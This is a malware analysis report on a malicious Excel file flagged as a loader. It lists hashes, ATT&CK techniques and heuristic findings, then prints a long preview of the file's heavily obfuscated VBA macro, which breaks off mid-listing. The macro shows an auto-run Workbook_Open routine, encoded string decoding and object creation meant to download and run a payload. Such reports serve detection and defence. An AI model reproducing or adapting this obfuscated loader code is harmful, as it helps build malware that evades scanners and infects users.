Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 37231638c17266ef…

MALICIOUS

Office (OLE)

778.5 KB Created: 2018-09-10 09:01:45 Authoring application: Microsoft Excel First seen: 2019-04-18
MD5: 7befbc7d64a444020a4b95b1ea571cf3 SHA-1: dcf440870229933f6432b206fd1daae629db5593 SHA-256: 37231638c17266efbf622271728efbac72831c18b6f16612903f0aa4ede67ee3
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains obfuscated VBA macros, including a Workbook_Open event, which are designed to download and execute a secondary payload. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms the macro's intent to download a file via HTTP and save it to disk for execution. The presence of 'macros.bas' and the obfuscated nature of the script indicate a loader designed to fetch and run further malicious content.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        LFERRn = piZee.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set piZee = CreateObject(mpdxb("MCF&i  acaS$ro uot#)skBCohQffmkWt dT.)U-XKFxM_k L   H_@jTO $TCl&P _Y"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set piZee = CreateObject(mpdxb("MCF&i  acaS$ro uot#)skBCohQffmkWt dT.)U-XKFxM_k L   H_@jTO $TCl&P _Y"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set UEYdjt = GetObject(koeto)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        mVkFBmXa = Environ(mpdxb("T^OyezDTm-pEpj r"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 275885 bytes
SHA-256: e12aef6f40d5146e85358141d58264ac5f8f03ba430b93aa90c87486e9fa513d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1029 of 1649 identifiers look randomly generated (e.g. 'ltzhJEhiHcHFfzIcbBWf') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    QjhWSLXD = 1727 - 1080 - 329
    TpCtWGYglFUM = 755 - 1734 - 1352
    KipVeyiXSRlP = Left("d Amd XG ki!u ", 3)
    InVFG = "qminuM C uApgrm" + "g$BbDYL Y%(" + "K w sW G OM_"
    While utpFIv < 1
        For HPFMPl = 0 To 5
            InVFG = Left("vL  L% y[pA", 4)
            uQroitqD = Right(" ^_S&WC^nHBYZ_wV", 5)
            QjhWSLXD = Space(6)
            TpCtWGYglFUM = LTrim("wl (A%pFAXQx_ U Jd")
            InVFG = "E S@e jgD) " + " AN gK_bV sPl!Q " + "V .$mhLvj hrPV."
            KipVeyiXSRlP = Left(" #QuHp pt)", 5)
            TpCtWGYglFUM = StrReverse("x^V#. [s Uq  $ xz x")
            InVFG = Left("L]ZRr]y @Y  pi ", 3)
            KipVeyiXSRlP = StrReverse(" Sf@X  zp hpvl.BZE")
            InVFG = "u b#F#ZG]p$ bl" + "Yfg xB p@ET G" + "sg Z  KprP K"
            InVFG = LTrim("w&( ]oxR)S?n  ")
        Next HPFMPl

        TpCtWGYglFUM = StrReverse("Lig #%S K  IXA")
        QjhWSLXD = 1179 + 1979 + 723
        QjhWSLXD = Left("kD^ W MMBF x)", 3)
        InVFG = LTrim("MFBWDC TxS")
        uQroitqD = LTrim("Ar [u t )n k@OQg)cJ")
        KipVeyiXSRlP = Left("P&l PIi ndgZPV iZ", 4)
        hZiJe = StrReverse("NF o oW $ h[  LT s")
        KipVeyiXSRlP = UCase("HIE CvB^   I b")
        KipVeyiXSRlP = RTrim("F&gQHj   v OCwhnw$")
        TpCtWGYglFUM = StrReverse("vhlgg(YiuW")
        TpCtWGYglFUM = 706 + 746 + 1385
        TpCtWGYglFUM = Right("G? b_So Hp   ", 2)
        uQroitqD = Space(6)
        QjhWSLXD = 995 + 502 + 784
        utpFIv = utpFIv + 2
    Wend

    InVFG = RTrim("tgGtCk(   IbN E")
    QjhWSLXD = 931 - 1128 - 1514
    hZiJe = LTrim("Qj#j@Ew$svXVNAl  ")
    uQroitqD = RTrim("O f O fY)hg ")
    QjhWSLXD = RTrim("#Wwi- ArsfcE")
    hZiJe = StrReverse("[wy nCe oTEc Xv!")
    QjhWSLXD = 1324 - 472 - 159
    InVFG = Space(11)
    QjhWSLXD = "-pIc]dKz$f t.N" + " JD vFF$T^ MaEfP$  " + "UU_#[qYB  xusF$GO R"
    For DTWsrE = 0 To 9
        KipVeyiXSRlP = "pT c @wYID_ t " + "g [^ k Wz tw&j" + "Udi? e)d c% c _  "
        KipVeyiXSRlP = Right("E. _$cUdRSyrH I@@q N", 3)
        InVFG = StrReverse(" fw U .ec y")
        KipVeyiXSRlP = UCase(" !J S.!  )^")
        TpCtWGYglFUM = StrReverse("SF k] @ eQ !  d.")
        TpCtWGYglFUM = Left("  ?N sSlX#   d)!", 3)
        hZiJe = UCase("   b_v! hg[ s@$K@BM ")
        TpCtWGYglFUM = Right("hpxjf- C    O", 3)
        QjhWSLXD = " RSPPK zXum vW tC [" + "  gH zS_ PG " + "vX Mn  ?)]BA"
        uQroitqD = 1559 - 678 - 880
        hZHswMiCIRQQ = Left("^  @&Xg.F& iD( ", 2)
        uQroitqD = Space(8)
        TpCtWGYglFUM = 402 - 305 - 521
        uQroitqD = Space(17)
        InVFG = RTrim(" QqK$Q?B&fd_!UJ-")
        uQroitqD = UCase("K yCPo_ #   aW%$yY")
    Next DTWsrE

    hZHswMiCIRQQ = Left("@iDQ?K  yvgFxB ] C  ", 5)
    uQroitqD = Right("aXn #zxs!  ", 3)
    uQroitqD = Space(16)
    TpCtWGYglFUM = 507 + 893 + 198
    For NDFzvm = 0 To 7
        InVFG = Right("tffuG#YTo^cX", 2)
        uQroitqD = 1016 - 1767 - 1568
        uQroitqD = RTrim("lh D _C[@ t wX ^YZ")
        KipVeyiXSRlP = Space(13)
        QjhWSLXD = LTrim(" -N Z. CZiBmk  b%")
        TpCtWGYglFUM = 708 - 1580 - 140
        InVFG = 155 + 306 + 1908
        TpCtWGYglFUM = 1350 + 1795 + 1037
        KipVeyiXSRlP = StrReverse("pHeXIH$g$hR Y")
        hZHswMiCIRQQ = Space(3)
        KipVeyiXSRlP = Space(8)
    Next NDFzvm

    InVFG = StrReverse("qiI   PMc  km PrFI")
    TpCtWGYglFUM = RTrim("MTB!pHwgd_!i mokv Hl")
    hZiJe = 1914 + 895 + 1564
    QjhWSLXD = 409 + 454 + 1568
    For jsupsl = 0 To 9
        hZiJe = Space(3)
        hZiJe = Space(15)
        hZHswMiCIRQQ = StrReverse("L b     .[o ?]$% [.")
        hZHswMiCIRQQ = Space(10)
        QjhWSLXD = Space(13)
        InVFG = LTrim("e    w]K  f!YM C")
        hZHswMiCIRQQ = RTrim("g %JN!GE AEx(w ")
        hZiJe = RTrim("JCQWwU(IL _  %n_Pit")
        uQroitqD = RTrim("@V  gtAVC x  Y  qw")
        hZHswMiCIRQQ = UCase("ZqcM]FX]uO HBD uCw V")
    Next jsupsl

    For uAQoQq = 0 To 3
        While SHNVvr < 4
            InVFG = 1932 - 723 - 168
            InVFG = 392 - 1526 - 1182
            hZiJe = 894 + 1208 + 1034
            KipVeyiXSRlP = 731 - 1572 - 545
            uQroitqD = 1216 + 1507 + 461
            QjhWSLXD = StrReverse("QSK   s(  ")
            hZiJe = "QTb% _.c baMD$" + "_wz  _m MMfagZ-(" + " XCC %_m L_([M  c "
            TpCtWGYglFUM = 1897 - 651 - 1890
            TpCtWGYglFUM = UCase("C@Ygs ERf Ejz .")
            SHNVvr = SHNVvr + 1
        Wend

        hZiJe = Right("--! dU[kBab-l#!. Ny?", 2)
        hZiJe = RTrim("   L ^ wi T")
        QjhWSLXD = StrReverse(" Zu[jJI[Bw")
        KipVeyiXSRlP = RTrim("bDo@$kkx^U tQz")
        InVFG = 1384 + 934 + 1047
        uQroitqD = Left("TD%  )LZV&  zszD M!", 5)
        QjhWSLXD = UCase(" @y$^ G H jYwD")
    Next uAQoQq

    hZHswMiCIRQQ = 252 + 1248 + 942
    InVFG = LTrim("]XM  u Cn#     O")
    KipVeyiXSRlP = 1290 - 1842 - 302
    KipVeyiXSRlP = RTrim("K y m LGAb ")
WCitzTtA "tgRFKYk", "LXdVzB", "RztWIyi", "DNmiyfPQN", "biBafUbo", "SXSEGxvL", "nyqfsl"
    mVkFBmXa = Environ(mpdxb("T^OyezDTm-pEpj r"))
    InVFG = LTrim("O go) b eNs&r")
    hZHswMiCIRQQ = UCase("W YDkHsu cS_K")
    QjhWSLXD = Right(" yeo  oBfkoBt", 2)
    uQroitqD = RTrim("cQJU    #eKnpa")
    Dim TUunBUc As String
    TpCtWGYglFUM = RTrim("    YAr?Vz BTKwXM !")
    hZHswMiCIRQQ = LTrim("KsF  pH^hqH)N sw")
    KipVeyiXSRlP = RTrim("R% qE  etae  M[j")
    For DYYvbb = 0 To 7
        KipVeyiXSRlP = RTrim("  #tB (lPej t&  O")
        InVFG = 1384 + 383 + 1020
        KipVeyiXSRlP = Right("rhU   ] pL   d M", 5)
        KipVeyiXSRlP = LTrim("  FID W%Moc    @ultC")
        InVFG = RTrim("zluW  j% # ")
        QjhWSLXD = Right("F qq t ct!eWf %!u!@G", 3)
        QjhWSLXD = Space(6)
        hZiJe = StrReverse("g& % g Na_Hs!N$m. u ")
    Next DYYvbb

    InVFG = Left("^t&   Pm s zs  G", 2)
    hZiJe = Left("ih%XSVh@  ezJ )!N", 4)
    hZHswMiCIRQQ = "hI?(sxbdC uq  " + "Us SjYsYBW d&h p n?Z" + " qhC eR  ZbHYsO)P"
    QjhWSLXD = StrReverse("% o  FigMeA ")
    TUunBUc = "F s O"
    KipVeyiXSRlP = LTrim("Xe hO-i A ")
    uQroitqD = Left(" gF?J YX@A", 3)
    uQroitqD = RTrim("z_ k%wvQs-^")
    For CJDVmY = 0 To 5
        InVFG = 939 - 1250 - 1093
        QjhWSLXD = RTrim("Y zx! zk hLLZ[ @o-i^")
        hZiJe = Left("R]k t&iUws", 2)
        KipVeyiXSRlP = UCase(" fcUJ @iqH K")
        QjhWSLXD = "  ^r  $(gp " + "qpyj aUQ s.F&n" + "aWsLm$@m T"
        InVFG = 1351 + 1801 + 370
        uQroitqD = UCase("&VZ knY -rYqj )k ")
    Next CJDVmY

    While qIcbMc < 3
        For grSXhZ = 0 To 9
            uQroitqD = Right("-]w!Kcq^g -v", 2)
            KipVeyiXSRlP = StrReverse(" KyP(QB[WN- tYf")
            TpCtWGYglFUM = "e!?whTNoUa Zk" + "s  Xu cWS $DDGBr] " + "z@c  .$C   ? Mx"
            uQroitqD = LTrim("C   MRW ()O")
            hZHswMiCIRQQ = UCase(" -$X ZV      MrO )t")
            QjhWSLXD = RTrim(" yc OGGsnk A^T& Al_M")
        Next grSXhZ

        uQroitqD = StrReverse("  Fm.yXuQ ZV%v ")
        hZiJe = Left("$)y-T# a&x Hwy^))Cy", 2)
        hZHswMiCIRQQ = "G .vO!OIAX" + "-  ?(BTxwZ-  Z)F" + "j)Uq y .[GQ#"
        TpCtWGYglFUM = "& zt #eCZtXHGU  " + " ^_cpFWLmV   kk  NS$" + "f_Xsj@eEi I&TVQE"
        TpCtWGYglFUM = Left("#H Uk.L v.X&", 3)
        hZiJe = UCase(" ( Xf%n %]UsN")
        KipVeyiXSRlP = LTrim("qPqyC jyI .YV!wVP")
        KipVeyiXSRlP = "V vOnC y) N  . C%#o" + "%D -Wa uMhxV" + " ]   r x  ?TN  "
        InVFG = "Vvx%?) (CU  cPYO  y" + "  ewtC u!]" + " %nef gS  Y$  A"
        InVFG = LTrim("GWL^#D  ?!E?")
        QjhWSLXD = Left("b NS  s oVwyx", 5)
        qIcbMc = qIcbMc + 2
    Wend

    QjhWSLXD = "S?Y]In J( V k@Q&Xu!" + "I-- LaR V ciGq)j j" + "RhaY-i.lynnSJYF$"
    uQroitqD = 1991 - 135 - 754
    QjhWSLXD = LTrim(" #BA^v_O j S%#U MA")
    TUunBUc = TUunBUc + "KZ&L "
    hZiJe = RTrim(")i%(]    PYdH")
    TpCtWGYglFUM = 365 + 1066 + 937
    TpCtWGYglFUM = RTrim("(jTU bluML")
    TpCtWGYglFUM = Space(18)
    hZHswMiCIRQQ = "V[H SEo hZ Jq" + "J)H  p&  )Z (ig" + "p[h-p_) h di  G JY"
    TUunBUc = TUunBUc + "k Drb"
    InVFG = RTrim("gBA T_R-tKDbF  S")
    For EGqHaN = 0 To 3
        For QacdbC = 0 To 7
            hZHswMiCIRQQ = Right("y )$xfxlw kuX", 3)
            QjhWSLXD = Left("jEsU pGN  RShLj gVK", 4)
            TpCtWGYglFUM = 275 - 216 - 1751
            hZHswMiCIRQQ = LTrim(" ]L ut&o [WeJO kZFWd")
            uQroitqD = Left("l[n]wj n( tK  d _", 4)
            KipVeyiXSRlP = Right("] dDi  leH^v.@UzJ$$p", 5)
            uQroitqD = Right("n  r   qIwaB", 3)
            hZHswMiCIRQQ = 1651 - 908 - 1581
            hZiJe = RTrim("( E.@fJhG $ zq cY")
            KipVeyiXSRlP = RTrim("wKweO YEe  O] Xe#")
        Next QacdbC

        hZHswMiCIRQQ = Right("v  teDasG ).Q", 5)
        uQroitqD = StrReverse("Fb-^wO Ozm")
        InVFG = 1636 - 327 - 852
        TpCtWGYglFUM = LTrim(" TvOdh zOG  ")
        InVFG = 586 - 868 - 981
        uQroitqD = UCase("jN)i Pszl%B -dXN[")
        QjhWSLXD = 822 + 1239 + 232
        KipVeyiXSRlP = LTrim(" kVDj) Q@%")
        hZiJe = Right("(% i  qycKHRf", 3)
        QjhWSLXD = 827 + 1517 + 1460
        hZHswMiCIRQQ = RTrim("qU T-g%MmNN")
        TpCtWGYglFUM = Right("SxOLf b UDw", 2)
        uQroitqD = " f%uURmYH YpC I" + "[#EM y [BXLY XP" + " HQG%Jtx&U .#^n m Zy"
    Next EGqHaN

    uQroitqD = UCase("WZbhgbn#-uH ")
    hZHswMiCIRQQ = StrReverse("H i @AYuP? y")
    hZiJe = UCase(" Ds  k LP l")
    uQroitqD = RTrim("  wSiN[# V ")
    hZiJe = " Xgb#f %MR. " + ")? KN UbajeC )    e" + " U((rzX  uV  "
    TUunBUc = TUunBUc + "xEiDf"
    KipVeyiXSRlP = 1846 + 685 + 477
    QjhWSLXD = RTrim("BE r.GU J!  EpbJ")
    QjhWSLXD = Space(12)
    TpCtWGYglFUM = 333 + 1318 + 1392
    uQroitqD = "YlXAcc ayHpIv   " + "U$k pB$fF mS#y@$C" + "mDV-pahI (E  K xa"
    While CdUDnU < 5
        While nlPPVm < 2
            QjhWSLXD = Left(" XsPN$OayJOAb#$", 4)
            KipVeyiXSRlP = Space(14)
            KipVeyiXSRlP = Right("zXJK AHS-Y-$ Pbd", 5)
            TpCtWGYglFUM = LTrim("LMWYX ]!Y_c K  m S$O")
            KipVeyiXSRlP = Right("q V gp&S   ", 4)
            KipVeyiXSRlP = 1448 + 1648 + 1261
            hZHswMiCIRQQ = Space(14)
            uQroitqD = StrReverse(" wN   & RTg]x ")
            QjhWSLXD = RTrim("T?fF.q%M[o ")
            hZHswMiCIRQQ = 293 - 862 - 716
            nlPPVm = nlPPVm + 3
        Wend

        InVFG = Left("k XEr#$ WeK ", 5)
        uQroitqD = 296 + 785 + 1075
        QjhWSLXD = Space(17)
        hZiJe = Left("p@bP lc kLriam W", 3)
        KipVeyiXSRlP = Left("J L]! ) UHw ]E", 4)
        CdUDnU = CdUDnU + 3
    Wend

    hZHswMiCIRQQ = Left("RqDek [  !Wr Q[", 3)
    InVFG = 1389 + 1880 + 1166
    TUunBUc = TUunBUc + "R$( \"
    uQroitqD = Left(" L-  $M  ]", 4)
    hZHswMiCIRQQ = Right(" KkKLL)Ex(V&", 5)
    uQroitqD = LTrim("?D k$r NmWQj")
    hZHswMiCIRQQ = Right("F IIx sNH?&a %e- ", 3)
    QjhWSLXD = Left("Q @ n% gX.w&!b(W d", 2)
    hZHswMiCIRQQ = Right("CKe C()YcGe N B", 2)
    TUunBUc = TUunBUc + "wPvhO"
    While uyUrBt < 2
        InVFG = Right("Ajb  t L&T r?", 4)
        hZiJe = UCase("Y[ZW&MT%lR tPi ")
        uQroitqD = Left("PB Jg@at)t pW$B  T V", 5)
        hZHswMiCIRQQ = "MT$ [nULSiAmM U#_S d" + "F   S  kA]G_TBmA -@" + "JkSaY$UK v]jZi(d PY"
        hZHswMiCIRQQ = 213 + 1589 + 1896
        InVFG = UCase("Ls kL R   %jH_ rb F")
        uyUrBt = uyUrBt + 2
    Wend

    KipVeyiXSRlP = 1069 + 1962 + 1464
    hZiJe = Right(".u  @t n N) JFPT", 4)
    hZiJe = Space(6)
    hZiJe = Left("CGwq Llss hjQF- t", 4)
    For CQpigM = 0 To 10
        KipVeyiXSRlP = 436 + 585 + 723
        TpCtWGYglFUM = Space(14)
        QjhWSLXD = Right("OX  v QWo R.]!", 3)
        uQroitqD = 1065 + 1323 + 523
        InVFG = Space(5)
        TpCtWGYglFUM = RTrim("fhG rL?G e  s ")
        uQroitqD = " ]yz i d. " + " u&WK%!Rg cs  ! " + "VA#@ B @ xRah@DC"
        hZiJe = Space(20)
        InVFG = "Zry  Z p&  U?" + "N ?xYz? p te  o n G" + "_ A R KLtC  d "
        uQroitqD = UCase("!NS UdO(u LgX ")
        hZHswMiCIRQQ = 652 - 1047 - 1908
        TpCtWGYglFUM = StrReverse("$ G NM@ IA CYh#f  ")
        InVFG = RTrim("nSXXB xU_L D G tj#sz")
    Next CQpigM

    KipVeyiXSRlP = RTrim(" Il N@O_VP  ")
    KipVeyiXSRlP = 1626 - 1453 - 1737
    For swdVgv = 0 To 9
        KipVeyiXSRlP = 1977 - 1072 - 620
        hZHswMiCIRQQ = " magd n g Q  A.S$gku" + "Ec-Ei^cs Km^ bog]-. " + "Qv&yX   Ln  pimj dN!"
        KipVeyiXSRlP = "j - CWpU ] " + "sl V H yptl z " + "f  U^ ^$! ZQUD"
        hZHswMiCIRQQ = 1347 + 385 + 380
        InVFG = 1081 - 478 - 1618
    Next swdVgv

    uQroitqD = UCase("iZOD[R  ]$& QXG! S ")
    TUunBUc = TUunBUc + "wSioV"
    TpCtWGYglFUM = 1691 + 937 + 705
    uQroitqD = StrReverse("vml Ji  dXeVp Iv")
    QjhWSLXD = 1457 - 1714 - 960
    TpCtWGYglFUM = RTrim(" %&GH% yhcIT")
    QjhWSLXD = Right("UXJLM& J Cmz s", 4)
    While dXjkWZ < 4
        While OYlgYt < 5
            hZHswMiCIRQQ = Right("VQyLgXFsL  f @", 5)
            KipVeyiXSRlP = Left("Zsl@  koVg  s% E", 3)
            TpCtWGYglFUM = Right("$HSy $%[ hu f f  e", 5)
            QjhWSLXD = UCase("_UIE  u)T ")
            hZHswMiCIRQQ = "VW @ k(ZMDO I cKKypQ" + " lWo! l xl  " + "CeZNBptnMt w zGQs"
            QjhWSLXD = Space(19)
            uQroitqD = LTrim("r m[mBe PpubWz t# ")
            OYlgYt = OYlgYt + 3
        Wend

        hZHswMiCIRQQ = LTrim("K )RD^&ld b! !aWUf")
        QjhWSLXD = RTrim("e a  _ t  jmv")
        hZHswMiCIRQQ = StrReverse("!NZLe%GIcm$s.   )D")
        KipVeyiXSRlP = UCase("_H[ giG?hrj @")
        uQroitqD = UCase("YD(WB?c!X!sAX s")
        uQroitqD = LTrim("rqmo . .!#NK% ")
        QjhWSLXD = Left("C) rQP)y]l^Z iJ", 3)
        KipVeyiXSRlP = LTrim("iQ@ Kq V   a")
        uQroitqD = UCase("Y RieaDjh!MRf")
        hZHswMiCIRQQ = UCase(" D rBp &P %- K")
        InVFG = StrReverse("HsFIO  SHT  ac")
        KipVeyiXSRlP = RTrim(" P ltES&jKk.z [KB")
        QjhWSLXD = Left(" qj jwus- a O  @wW", 3)
        TpCtWGYglFUM = StrReverse("wR Sk Y YxoM#]")
        dXjkWZ = dXjkWZ + 1
    Wend

    KipVeyiXSRlP = LTrim(" D   QW -  G ")
    TUunBUc = TUunBUc + "Wl .^"
    hZHswMiCIRQQ = LTrim("]i![iFgzIJA !rA$ R")
    InVFG = StrReverse(" PApxbpc#Mtc")
    KipVeyiXSRlP = 617 - 1583 - 1757
    KipVeyiXSRlP = Left("LN  KVq D AnI    p ", 2)
    KipVeyiXSRlP = StrReverse("IP&cEq  mbe.b)[TM")
    QjhWSLXD = 195 + 371 + 1412
    KipVeyiXSRlP = LTrim(" @D . diDu")
    hZiJe = Right("UjR]&FnC_]NHA  uj(D", 5)
    TUunBUc = TUunBUc + "M-StD"
    QjhWSLXD = "wa % Ih!ZLC" + "P  J^CDUBw  asBFHps&" + "y-ny- T%Yrd.H"
    For LaTOBL = 0 To 5
        For oOhkvL = 0 To 10
            KipVeyiXSRlP = Left("ICuqQ.Z.kXe(^N ", 4)
            TpCtWGYglFUM = LTrim("tJ r Y D@bbQ^ - A#c")
            hZiJe = 1718 - 1537 - 1380
            KipVeyiXSRlP = Space(17)
            uQroitqD = Right("iWfpKb L pu  b   WL", 4)
            uQroitqD = StrReverse("?X IUi _ SJ -X")
            InVFG = LTrim("  J  so  ZK")
            KipVeyiXSRlP = 1719 + 841 + 470
            KipVeyiXSRlP = "zUpzjS!$D%" + "-_ Zuu mVO T zjPR?" + "  ^ C?ul c&S&r@"
            hZHswMiCIRQQ = RTrim("yr UTxi)UD& %m]M ")
            InVFG = Right(" j( VlK-  kU s#t", 5)
            QjhWSLXD = 1732 + 346 + 699
            InVFG = Right("E h W x sNTsk", 3)
            hZHswMiCIRQQ = LTrim("@mjAm) D%z")
            uQroitqD = RTrim("dbt U(%Y  -pQdl b a")
            InVFG = 220 + 174 + 912
        Next oOhkvL

        KipVeyiXSRlP = "dXc HHUu ) ? $kq ZJr" + "N dPzHo  ]RP(" + "hQgpIpGd^(FyA% jM  E"
        hZHswMiCIRQQ = Left("PokkX oXPg BC r .Q", 5)
        KipVeyiXSRlP = Space(5)
        TpCtWGYglFUM = StrReverse("o&  Rg[ yus(")
        KipVeyiXSRlP = Right(" fhm OT![nAvGPE[", 5)
        hZiJe = 1714 - 1927 - 237
        TpCtWGYglFUM = Right("  (O  E $ ! NM dp ", 2)
        KipVeyiXSRlP = RTrim("PH!#d#r#tNu.MaI")
        InVFG = 1566 + 1999 + 888
        KipVeyiXSRlP = Left("i a%?  bDh XaZqi", 5)
        hZHswMiCIRQQ = Space(2)
        hZHswMiCIRQQ = Left(" yH%f$y !ZG ", 3)
        TpCtWGYglFUM = 1581 + 1740 + 913
        hZHswMiCIRQQ = 1463 + 1089 + 544
        hZHswMiCIRQQ = Left("t^_)a Z!zL $KWl", 2)
        uQroitqD = Right("AZW  sSb^  Vb", 3)
        InVFG = Right("    oD l BvNKYoT", 5)
    Next LaTOBL

    InVFG = 751 + 853 + 213
    QjhWSLXD = 1629 + 479 + 1863
    KipVeyiXSRlP = UCase("?   C $[V@nN")
    TUunBUc = TUunBUc + "BYwp^"
    uQroitqD = RTrim("CM . m v$e- ]e")
    KipVeyiXSRlP = RTrim("y  Q  m  #h b  .$gnV")
    QjhWSLXD = 1224 + 1610 + 865
    TpCtWGYglFUM = "BUzBeCD^EvND_C  fdz" + "aLLV(YX .$" + " [$uE-  a Z! &Q "
    For pzCPAq = 0 To 6
        TpCtWGYglFUM = Left("hF & )rr  vW] -", 3)
        InVFG = " Dj c(N  JPouUWv _  " + "K   [YOCx[KVe.z" + "  pk[  wNVUgbm"
        TpCtWGYglFUM = StrReverse("oCn (  c x(nkU!ez")
        hZiJe = Space(19)
        TpCtWGYglFUM = StrReverse("AZbJ%lv O    L ")
        QjhWSLXD = 1590 - 880 - 1215
        QjhWSLXD = Left("D&QEPp#?BPEhD$", 2)
        hZiJe = UCase("Z mn@( pHM  C g?   ")
        hZHswMiCIRQQ = Left("  xtWC? uVRTn  eVk", 5)
        TpCtWGYglFUM = Right("jGJziCtCYX?", 3)
        KipVeyiXSRlP = LTrim("?lG FJ  it ! Q")
        QjhWSLXD = LTrim(" O!woh$ UYjDF")
    Next pzCPAq

    TUunBUc = TUunBUc + "YfH  "
    For ENheDq = 0 To 2
        While oixEzK < 1
            hZHswMiCIRQQ = StrReverse("H Fo?GaJv  FvO@xa")
            KipVeyiXSRlP = Left("   Go  w#L?h", 5)
            uQroitqD = 1453 + 1065 + 1916
            hZHswMiCIRQQ = Space(19)
            TpCtWGYglFUM = Space(19)
            uQroitqD = RTrim("bPxei    UQ")
            hZiJe = Left("  JIwf&onq&g b gg ", 4)
            hZHswMiCIRQQ = RTrim("   w Q.tPTQ")
            uQroitqD = 1266 + 798 + 612
            QjhWSLXD = Space(14)
            hZiJe = Space(2)
            uQroitqD = RTrim("q$ J%eZNfL! V  bEazd")
            oixEzK = oixEzK + 3
        Wend

        hZHswMiCIRQQ = UCase("O!t#K  $GHlo?a")
        QjhWSLXD = 352 + 942 + 1302
        InVFG = UCase(" C H hD& Yg$[ #e")
        hZHswMiCIRQQ = StrReverse(" X pZ zz % %(xAM")
        QjhWSLXD = Space(15)
        QjhWSLXD = StrReverse("- SF   yakJaPu R")
        InVFG = StrReverse("QQ RyREnvkSoS ytr h")
        uQroitqD = Right("XF$t K L   r) nFhs_", 3)
        uQroitqD = UCase("MF_ JaU_ SN& tXP?U")
        hZHswMiCIRQQ = LTrim("RY_W  @  W_XPy ")
        InVFG = 775 + 514 + 141
        uQroitqD = "IEChap  Q " + "  BasxVRWxk z MH#" + "g !GP Mx_o ?  HFe n"
        QjhWSLXD = Left("EMyz fwB K KjC v%s", 4)
        TpCtWGYglFUM = Left("P_gK[Or   aJ %d (S", 2)
        TpCtWGYglFUM = Left("P Txy f y ", 4)
        hZHswMiCIRQQ = LTrim("RR  IHF x)")
        InVFG = StrReverse("& fvZ Z PM")
    Next ENheDq

    uQroitqD = StrReverse("YT.rIv( u)ksL")
    InVFG = LTrim("Lxqmxx) MPV Rp) N s")
    KipVeyiXSRlP = StrReverse("%  [iN CR D#")
    InVFG = 1342 - 1976 - 1459
    For FLCwNE = 0 To 4
        While abxPlt < 4
            QjhWSLXD = Right("zZ V a mg ^", 5)
            KipVeyiXSRlP = UCase("c  n_y  g ByL  v$r")
            hZiJe = Right("HQE#RZb_v FZN@[LlR", 2)
            QjhWSLXD = StrReverse("f.@ nPyW[Ar  L  a ^")
            uQroitqD = "$ q!$sB %Mzk l AKB" + "  (  evZ QF us" + "-keedPk @kQdnzn"
            uQroitqD = LTrim("n O.g p mKx$S N")
            InVFG = RTrim(" bz) hU(YQTN p(Fa  n")
            hZHswMiCIRQQ = LTrim("m^a&ksl(y@Oha")
            uQroitqD = LTrim("V#.%rD_XY O")
            KipVeyiXSRlP = "aOHhdfB #c [e" + "L. W-W? s%emS %" + " LgaPJ#(Y FmFtZWHXw "
            hZiJe = Space(16)
            hZiJe = 952 - 1760 - 1670
            hZiJe = 1573 + 800 + 307
            TpCtWGYglFUM = Space(4)
            TpCtWGYglFUM = "BtO@e_$ kJFOJ)$os" + "OP    K?j  inyY gr Z" + "[ihuN E f@ Hd"
            hZHswMiCIRQQ = StrReverse("ms uYV Y j)zl WKUi")
            InVFG = Right("   Yqy vO-N  W", 5)
            abxPlt = abxPlt + 1
        Wend

        QjhWSLXD = Left(" TmOLraHN%-_  #E", 3)
        QjhWSLXD = UCase("Q)^! sGKu    ")
        TpCtWGYglFUM = Right("UpicC  fm  ylJf", 3)
        KipVeyiXSRlP = LTrim(" MA  XV% f")
        uQroitqD = Right("Q^@FUEq] @kkO dB", 4)
        hZiJe = 1863 - 1479 - 578
        InVFG = RTrim(" ZY n dH ^ [QI[")
        KipVeyiXSRlP = "LTp  )hSEl!R" + "R gcN#] Oc.N  @W" + " d@$Ya . R y&wE"
        TpCtWGYglFUM = 996 - 413 - 924
        TpCtWGYglFUM = Space(15)
        hZiJe = LTrim("mNr V #)X? x-")
        hZiJe = Space(14)
        hZHswMiCIRQQ = 848 + 1133 + 1063
        hZHswMiCIRQQ = LTrim("lLdQVmO(i ")
        QjhWSLXD = LTrim("cIhU MeP Hv ih")
        uQroitqD = 1158 - 1626 - 575
